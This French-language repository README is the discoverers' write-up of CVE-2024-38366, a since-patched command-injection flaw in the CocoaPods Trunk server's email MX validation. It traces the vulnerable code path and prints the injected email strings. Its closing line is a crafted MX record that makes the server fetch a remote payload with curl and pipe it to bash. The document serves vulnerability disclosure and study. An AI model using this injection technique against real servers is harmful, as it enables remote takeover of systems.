reefspek/cocoapods-rce_cve-2024-38366Vulnérabilité RCE de CocoaPods CVE-2024-38366
Ce dépôt contient une analyse un peu plus approfondie du processus de recherche et des réflexions derrière la vulnérabilité RCE découverte lors de la recherche et de l'analyse du gestionnaire de paquets CocoaPods.
Le billet de blog publiant cette recherche est disponible ici : https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods
Le serveur Trunk de CocoaPods sert de dépôt centralisé et de plateforme de distribution pour CocoaPods, les bibliothèques essentielles et les frameworks utilisés dans l'écosystème Apple, en particulier le développement iOS et macOS. Son objectif principal est de faciliter le partage et la gestion transparents de ces ressources open-source.
Le processus d'enregistrement des développeurs auprès du serveur Trunk de CocoaPods comprend les étapes suivantes pour garantir la sécurité de la plateforme :
La dernière version de trunk.cocoapods.org (branche master) a été testée et validée sur l'environnement de production au moment de la recherche. La vulnérabilité a depuis été corrigée et n'est plus exploitable.
La cause racine de la vulnérabilité réside dans la vérification insuffisante de l'étape de validation du domaine de l'adresse e-mail (pendant le processus d'enregistrement des développeurs) et dans l'exécution non sécurisée de commandes. Plus précisément, un attaquant peut manipuler l'entrée de manière à contourner la validation des enregistrements Mail Exchanger (MX) du domaine, ce qui lui permet d'injecter et d'exécuter des commandes OS arbitraires sur le serveur Trunk.
Cela représente une menace sérieuse pour la sécurité de la plateforme, car cela permet à des individus non autorisés de compromettre potentiellement l'intégrité du serveur, la confidentialité des données stockées et de perturber ses opérations.
APP/CONTROLLERS/APP_CONTROLLER.RB
Le fichier App Controller définit les points de terminaison de l'API du serveur Trunk, y compris le SessionsContoller, accessible via le chemin /api/v1/sessions.
APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB
Pour générer une nouvelle session, le fichier Session Controller expose le point de terminaison API HTTP POST – /api/v1/sessions.
Le point de terminaison traite les détails d'enregistrement fournis par l'utilisateur, y compris les paramètres "email", "name" et "description". Ensuite, il appelle la méthode Owner.find_or_initialize_by_email_and_name.
L'appel de fonction inclut les valeurs des paramètres "email" et "name".
APP/MODELS/OWNER.RB
Le fichier Owner Model définit la méthode find_or_initialize_by_email_and_name qui vérifie si l'e-mail fourni existe. Si ce n'est pas le cas, elle crée un nouvel objet Owner à l'aide des paramètres mentionnés ci-dessus.
Dès que l'objet est créé, et avant de le stocker dans la base de données, le framework Sequel exécute la méthode validate. Cette méthode comprend plusieurs validations, issues du paquet RFC-822.
Nous nous sommes concentrés sur l'exécution de la méthode validates_mx_record, qui utilise le paquet RFC-822.
RFC-822/LIB/RFC822.RB
La bibliothèque implémente la méthode mx_records pour vérifier si le domaine fourni est valide. De plus, elle implémente une validation de la réactivité des enregistrements MX à l'aide de la commande host.
La méthode compare d'abord l'adresse e-mail complète au modèle Regex d'e-mail défini – elle vérifie si l'e-mail fourni correspond au modèle. Si le modèle ne correspond pas, la méthode renvoie une valeur vide et ne procède pas aux contrôles actifs via la commande host.
La méthode mx_records appelle ensuite la méthode raw_mx_records qui manipule la valeur de l'e-mail – elle extrait uniquement la partie domaine (tout ce qui suit le dernier « @ ») et appelle la méthode host_mx en utilisant le domaine extrait comme valeur de paramètre.
La méthode host_mx exécute une commande OS arbitraire, en la concaténant avec le domaine de l'e-mail fourni par l'utilisateur.
La commande finalement exécutée est la suivante :
/usr/bin/env host -t MX <DOMAIN>
Pour initier l'exploitation de la vulnérabilité, nous avons envoyé une requête HTTP POST au point de terminaison API /api/v1/sessions. Dans le corps de la requête, nous avons fourni une entrée manipulée.
L'objectif principal était de déclencher le processus de validation des enregistrements MX, ce qui mènerait finalement à l'évaluation et à l'exécution de notre entrée utilisateur malveillante, aboutissant à l'exécution de commandes OS sur le serveur Trunk.
Pour atteindre notre objectif et établir un reverse shell entièrement interactif, nous avons dû surmonter certains défis :
reef<span>@evasec.io|curl{IFS}evasec.io ne serait pas efficace, car le serveur la traiterait en minuscules.reef<span>@evasec.io|{curl,evasec.io} ne fonctionnerait pas en raison de la présence des caractères suivants que la bibliothèque éliminerait :
" " (space)"().,<>@[]Pour finaliser notre mission, nous devions franchir le mur auquel nous nous étions heurtés.
Nous avons découvert que la commande /usr/bin/env host -t MX <DOMAIN> fournit une sortie que nous pouvons contrôler, ce qui nous permet de contourner ces défis.
La sortie pouvait être exploitée en la redirigeant vers une commande bash, créant ainsi une opportunité d'exécution de code.
Par exemple :
/usr/bin/env host -t MX <DOMAIN> | bash
Nous avons manipulé un enregistrement MX sur notre domaine, géré via Route53 sur AWS. L'enregistrement MX contient la chaîne valide suivante :
10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com